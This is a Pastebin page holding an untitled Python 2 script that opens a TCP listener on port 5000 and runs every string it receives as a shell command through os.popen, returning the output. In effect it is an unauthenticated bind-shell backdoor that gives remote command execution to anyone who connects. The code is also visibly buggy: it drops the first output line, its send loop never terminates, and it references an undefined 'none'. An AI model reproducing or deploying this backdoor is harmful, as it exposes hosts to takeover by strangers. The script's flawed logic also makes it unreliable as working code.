Advertisement
Guest User

Untitled

a guest
Sep 26th, 2017
53
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.72 KB | None | 0 0
  1. # -*- coding: cp1252 -*-
  2. from time import *
  3. from socket import *
  4. from os import popen
  5. host=gethostname()
  6. port= 5000
  7. print
  8. sock=socket(AF_INET,SOCK_STREAM)
  9. sock.bind((gethostname(), port))
  10. sock.listen(5)
  11. conn, addr = sock.accept()
  12. def server(sock, conn, addr):
  13.     rec = conn.recv(1024)
  14.     if rec == "exit":
  15.         sock.close()
  16.         conn.close()
  17.         del sock
  18.         del conn
  19.         del addr
  20.         exit()
  21.     else:
  22.         result = popen(rec)
  23.         if result.readline() is None:
  24.             conn.send("Operazione eseguita")
  25.         else:
  26.             while True:
  27.                 line = result.readline()
  28.                 conn.send(line)
  29.             if line is none:
  30.                 server(sock, conn, addr)
  31.  
  32. try:
  33.     server(sock, conn, addr)   
  34. except:
  35.     sock.close()
  36.     conn.close()
  37.     del sock
  38.     del conn
  39.     del addr
  40.     exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement